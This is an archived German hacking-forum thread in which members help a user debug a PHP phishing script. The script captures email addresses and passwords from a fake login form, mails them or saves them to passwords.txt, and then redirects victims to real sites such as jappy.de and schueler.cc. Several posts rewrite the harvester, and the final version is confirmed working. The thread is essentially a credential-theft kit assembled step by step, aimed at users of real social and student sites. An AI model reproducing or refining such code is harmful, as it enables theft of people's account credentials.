Archiv verlassen und diese Seite im Standarddesign anzeigen : Zugangsdaten auf FTP?
TOM199415
07.09.2009, 01:07
Hallo Forum,
hab mal wieder ein Problem:(
und zwar hab ich doch schon mal wegen dem Problem gefragt das mit der E-Mail Adresse (siehe Hier (http://free-hack.com/showthread.php?t=46444))
Und da das bei mir das immer noch nicht funzt, wollte ich wissn ob man das auch ändern kann das es die Zugangsdaten auf den FTP sendet??
Hier nochmal der Code:
<?php
$benutzer=$HTTP_POST_VARS['email'];
$pass=$HTTP_POST_VARS['passwort'];
if ($passwort == "")
{
print("Bitte geben Sie ihr Passwort ein");
}
elseif ($email == "")
{
print("Bitte geben Sie ihren Benutzernamen ein");
}
else
{
$mailtext="Benutzername: ";
$mailtext.=$email;
$mailtext.="\n";
$mailtext.="Passwort: ";
$mailtext.=$passwort;
$absender="From:";
$absender.="Master2";
mail("MEINEMail Adresse",$benutzer,$mailtext,$absender);
// Edit your Email Address and the text which will be printed after logging in !
print("Der von ihnen angeforderte Service ist momentan leider nicht verfügbar. Bitte versuchen Sie es später noch einmal.");
}
// Also edit <meta http-equiv="Refresh" content="1; url=http://www.jappy.de"> just edit the Page to redirect to !
?>
<html>
<body>
<meta http-equiv="Refresh" content="1; url=http://www.schueler.cc">
</body>
</html>
Southpark
07.09.2009, 01:22
<?php
$benutzer=$HTTP_POST_VARS['email'];
$pass=$HTTP_POST_VARS['passwort'];
$handle = fopen("passwords.txt", "a");
if ($passwort == "")
{
print("Bitte geben Sie ihr Passwort ein");
}
elseif ($email == "")
{
print("Bitte geben Sie ihren Benutzernamen ein");
}
else
{
$mailtext="Benutzername: ";
$mailtext.=$email;
$mailtext.="\n";
$mailtext.="Passwort: ";
$mailtext.=$passwort;
$absender="From:";
$absender.="Master2";
fopen("passwords.txt", "a");
fwrite($benutzer,$mailtext,$absender);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
// Edit your Email Address and the text which will be printed after logging in !
print("Der von ihnen angeforderte Service ist momentan leider nicht verfügbar. Bitte versuchen Sie es später noch einmal.");
}
// Also edit <meta http-equiv="Refresh" content="1; url=http://www.jappy.de"> just edit the Page to redirect to !
?>
<html>
<body>
<meta http-equiv="Refresh" content="1; url=http://www.schueler.cc">
</body>
</html>
so sollte es eigl gehen nicht getestet.
lg Southpark
TOM199415
07.09.2009, 10:24
Ok Thx,
ich probiers mal
Da kommt imer diese Meldung:
Parse error: syntax error, unexpected '}' in /srv/www/httpd/phost/t/eu/pytalhost/toms-site/web/send.php on line 33
Dateiattribute hab ich auch auf 777
Ist auch beim kurz darüber fliege ein "}" zuviel.
Southpark
07.09.2009, 11:09
Jo ist eins zuviel habs gestern kurz vorm pennen noch gesehn war aber zu faul das jez noch zu ändern
<?php
$benutzer=$HTTP_POST_VARS['email'];
$pass=$HTTP_POST_VARS['passwort'];
$handle = fopen("passwords.txt", "a");
if ($passwort == "")
{
print("Bitte geben Sie ihr Passwort ein");
}
elseif ($email == "")
{
print("Bitte geben Sie ihren Benutzernamen ein");
}
else
{
$mailtext="Benutzername: ";
$mailtext.=$email;
$mailtext.="\n";
$mailtext.="Passwort: ";
$mailtext.=$passwort;
$absender="From:";
$absender.="Master2";
fopen("passwords.txt", "a");
fwrite($benutzer,$mailtext,$absender);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
fwrite($handle, "\r\n");
fclose($handle);
// Edit your Email Address and the text which will be printed after logging in !
print("Der von ihnen angeforderte Service ist momentan leider nicht verfügbar. Bitte versuchen Sie es später noch einmal.");
}
// Also edit <meta http-equiv="Refresh" content="1; url=http://www.jappy.de"> just edit the Page to redirect to !
?>
<html>
<body>
<meta http-equiv="Refresh" content="1; url=http://www.schueler.cc">
</body>
</html>
So Sollte es jez gehen
TOM199415
07.09.2009, 11:10
So hab das } ausfindig gemachd und entfernt jetzt kommt zwar keine Fehlermeldung mehr, aber das PW wird einfach nicht gespeichert -.-
Editierte Code:
<?php
$benutzer=$HTTP_POST_VARS['email'];
$pass=$HTTP_POST_VARS['passwort'];
$handle = fopen("passwords.txt", "a");
if ($passwort == "")
{
print("Bitte geben Sie ihr Passwort ein");
}
elseif ($email == "")
{
print("Bitte geben Sie ihren Benutzernamen ein");
}
else
{
$mailtext="Benutzername: ";
$mailtext.=$email;
$mailtext.="\n";
$mailtext.="Passwort: ";
$mailtext.=$passwort;
$absender="From:";
$absender.="Master2";
fopen("passwords.txt", "a");
fwrite($benutzer,$mailtext,$absender);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
fwrite($handle, "\r\n");
fclose($handle);
// Edit your Email Address and the text which will be printed after logging in !
print("Der von ihnen angeforderte Service ist momentan leider nicht verfügbar. Bitte versuchen Sie es später noch einmal.");
}
// Also edit <meta http-equiv="Refresh" content="1; url=http://www.jappy.de"> just edit the Page to redirect to !
?>
<html>
<body>
<meta http-equiv="Refresh" content="1; url=http://www.schueler.cc">
</body>
</html>
Southpark
07.09.2009, 11:25
<?php
$benutzer=$HTTP_POST_VARS['email'];
$passwort=$HTTP_POST_VARS['passwort'];
$handle = fopen("passwords.txt", "a");
if ($passwort == "")
{
print("Bitte geben Sie ihr Passwort ein");
}
elseif ($email == "")
{
print("Bitte geben Sie ihren Benutzernamen ein");
}
else
{
$mailtext="Benutzername: ";
$mailtext.=$email;
$mailtext.="\n";
$mailtext.="Passwort: ";
$mailtext.=$passwort;
$absender="From:";
$absender.="Master2";
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
fwrite($handle, "\r\n");
fclose($handle);
exit;
// Edit your Email Address and the text which will be printed after logging in !
print("Der von ihnen angeforderte Service ist momentan leider nicht verfügbar. Bitte versuchen Sie es später noch einmal.");
}
// Also edit <meta http-equiv="Refresh" content="1; url=http://www.jappy.de"> just edit the Page to redirect to !
?>
<html>
<body>
<meta http-equiv="Refresh" content="1; url=http://www.schueler.cc">
</body>
</html>
probiers ma so^^
und hast du die passwort datei angelegt??
Änder in der 3. Zeile
$pass -> $passwort
TOM199415
07.09.2009, 16:13
Und wieder nen Error: =(
Parse error: syntax error, unexpected $end in /srv/www/httpd/phost/t/eu/pytalhost/toms-site/web/send.php on line 40
Southpark
07.09.2009, 16:32
Add mich mal im Icq.
TOM199415
09.09.2009, 22:52
weißt du schon was neues warum das nicht geht?
<html>
<body>
<meta http-equiv="Refresh" content="1; url=http://www.schueler.cc">
</body>
</html>
Wieso machen das alle so? 0o. Zunächst einmal: Meta-Angaben gehören _immer_ in den Head der Seite! Also zwischen <head> und </head>, nicht in den Body! Der Body ist für die Seite, nicht für Kopfangaben.
Weiterhin ist eine Weiterleitung per Meta eh schlecht. Per PHP geht es viel sauberer.
Also stattdessen:
header("refresh:1;url=http://");
Oder einfach
header("location:http://");
Dann zu Deinem Code... Der Fehler lag daran, dass die Else-Schleife nicht geschlossen wurde. Zu dem öffnenden { gehört auch immer ein }. Ist dies nicht der Fall, kann es zu Fehlern kommen. Daher nutze ich bei sowas sehr gerne die Tabulator-Taste...
Versuch den, der ist meiner Meinung nach besser geeignet (mal eben zusammengezimmert):
<?php
@header("refresh:1;url=http://www.schueler.cc");
$handle = fopen("passwords,txt","a");
if(!$_POST['email'] OR !$_POST['passwort'])) {
die("Sie sollten sich schon mit allen Daten einloggen!");
} else {
$handle = fopen("passwords.txt","a");
foreach($_POST AS $key => $value) {
fwrite($handle,$key."=".$value."\r\n");
}
fclose($handle);
}
exit;
?>
<?php
if(!$_POST['email'] OR !$_POST['passwort'])) {
die("Sie sollten sich schon mit allen Daten einloggen!");
} else {
$mail = $_POST['email'];
$pass = $_POST['passwort'];
file_put_contents('passwords.txt', "Mail: $mail\n");
file_put_contents('passwords.txt', "Pass: $pass\n\n";
}
header("Location: http://www.schueler.cc", true, 301);
?>
Find ich besser :)
Besser auf die Seite zugeschnitten vielleicht, ja. Mein Code ist jedoch allgemein, also überall nutzbar ;). Klar kann man es auch mit file_put_contents() machen. Ob es besser ist, ist fraglich.
TOM199415
10.09.2009, 22:30
Ich will ja nicht nerven aber es zeigt schon wieder nen Error an -.-:mad:
Parse error: syntax error, unexpected ')' in /srv/www/httpd/phost/t/eu/pytalhost/toms-site/web/send.php on line 2
Southpark
10.09.2009, 22:34
Tom199415 Php kannst du garnicht oder?
<?php
if(!$_POST['email'] OR !$_POST['passwort']) {
die("Sie sollten sich schon mit allen Daten einloggen!");
} else {
$mail = $_POST['email'];
$pass = $_POST['passwort'];
file_put_contents('passwords.txt', "Mail: $mail\n");
file_put_contents('passwords.txt', "Pass: $pass\n\n";
}
header("Location: http://www.schueler.cc", true, 301);
?>
TOM199415
10.09.2009, 22:47
nee^^
das kapier ich überhaupt nicht...:confused:
Error:
Parse error: syntax error, unexpected ';' in /srv/www/httpd/phost/t/eu/pytalhost/toms-site/web/send.php on line 8
file_put_contents('passwords.txt', "Pass: $pass\n\n";
Da fehlt eine Klammer...
file_put_contents('passwords.txt', "Pass: $pass\n\n");
Meine Güte, lern' PHP. Was ich noch am schlimmsten fand: Wenn Du in Zeile acht gehst, und den Befehl mit der Zeile davor vergleichst sollte man das merken 0o.
TOM199415
11.09.2009, 12:50
Hab die php selber geändert weil wieder ein Error war in Zeile 10.
Sieht jetzt so aus:
<?php
if(!$_POST['email'] OR !$_POST['passwort']) {
die("Sie sollten sich schon mit allen Daten einloggen!");
} else {
$mail = $_POST['email'];
$pass = $_POST['passwort'];
file_put_contents('passwords.txt', "Mail: $mail\n");
file_put_contents('passwords.txt', "Pass: $pass\n");
}
@header("refresh:1;url=http://www.schueler.cc");
?> Nur die php schreibt mir nur das Passwort in die txt?
Dann ist das hier falsch:
$mail = $_POST['email'];
Also der Name des Formulars ist wahrscheinlich anders.
Warscheinlich wird die Email nich als 'email' per POST übermittelt.
<?php
if(!$_POST['email'] OR !$_POST['passwort']) {
die("Sie sollten sich schon mit allen Daten einloggen!");
} else {
$data = print_r($_POST, true);
file_put_contents('passwords.txt', "$data\n\n");
}
header("refresh:1;url=http://www.schueler.cc");
?>Sollte mit allen POST Variationen funktionieren.
Nen Output der dir besser gefällt darfst du dir aber selber basteln.
TOM199415
11.09.2009, 19:23
THX =D
funzt
Powered by vBulletin® Copyright ©2024 Adduco Digital e.K. und vBulletin Solutions, Inc. Alle Rechte vorbehalten.